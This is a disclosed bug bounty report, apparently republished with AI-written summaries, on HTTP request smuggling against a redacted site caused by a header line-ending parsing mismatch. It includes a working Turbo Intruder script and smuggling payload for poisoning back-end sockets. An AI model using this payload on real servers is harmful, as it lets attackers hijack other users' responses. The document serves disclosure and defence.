Request smuggling on ████████
The front-end and back-end servers disagreed on how to parse line endings in HTTP headers, allowing an attacker to poison the back-end socket. An unauthenticated attacker could then hijack responses to other users, redirecting them to malicious websites without any user interaction.
Originally disclosed on HackerOne
- Triaged in 8 days
- Fixed in 4 months
- Disclosed after 6 months
Summary by the researcher
I've posted a full writeup over at https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn
The report
Summary:
Description: The sites at █████████ and ww.██████████ are vulnerable to backend socket poisoning which enables attackers to hijack responses to other users.
This vulnerability occurs because the backend server regards \n as a valid header ending, whereas the backend only thinks \r\n is valid. This means it's possible to send requests that are interpreted differently by the two servers, leading to backend socket poisoning.
Impact
Unauthenticated, remote attackers can randomly redirect active users to malicious websites, with no user-interaction required.
Step-by-step Reproduction Instructions
To replicate this with minimal risk of affecting legitimate users we'll target stage.████████ instead of ██████████, and use the following turbo intruder script:
I've hard-coded the endpoint to ██████████ because it appears that you've got multiple endpoints for stage.█████████ and some are not vulnerable.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint='https://██████████:443',
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False,
maxRetriesPerRequest=0
)
engine.start()
attack = '''POST /████ HTTP/1.1
Fooz: bar\nTransfer-Encoding: chunked
Host: stage.█████
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Foo: bar
0
GET███████ HTTP/1.1
X: X'''
engine.queue(attack)
victim = '''GET /foo.jpg?x=%s HTTP/1.1
Host: stage.████████
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: keep-alive
'''
for i in range(15):
engine.queue(victim, i)
time.sleep(0.2)
def handleResponse(req, interesting):
table.add(req)
You should observe that one of the responses to a victim request is a 302 redirect to █████████
Suggested Mitigation/Remediation Actions
When I resolve stage.███ I get a bunch of IP addresses, and only some of these appear to be vulnerable. As such, you should be able to resolve this issue by making these servers consistent:
stage.████████. 59 IN A ██████████
stage.████. 59 IN A ████████
stage.█████. 59 IN A ██████
stage.███████. 59 IN A █████
stage.████. 59 IN A ██████████
stage.██████████. 59 IN A █████
Impact
Unauthenticated, remote attackers can randomly redirect active users to malicious websites, with no user-interaction required. Socket poisoning also enables a variety of other attacks which I haven't time to explore on your site.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the front-end and back-end servers used different rules for parsing header line endings, so a crafted request was interpreted as two requests by the back-end.
Impact
Unauthenticated, remote attackers can randomly redirect active users to malicious websites, with no user-interaction required.
What the attacker needed
No authentication needed; victim makes a request to the site
The fix
Making the servers consistent should resolve the issue, as only some resolved IPs appear vulnerable.
How it was found
- Send a crafted request with a malformed header line ending to the vulnerable endpoint.
- Follow it with a victim request to the same endpoint.
- Observe that one of the victim responses is a 302 redirect to an attacker-controlled site.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you visit a website, your request passes through a front-end server (like a receptionist) to a back-end server (like a worker). If these two disagree on where one request ends and the next begins, an attacker can sneak in extra data that the back-end treats as a new request. This lets the attacker steal or redirect responses meant for other users.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.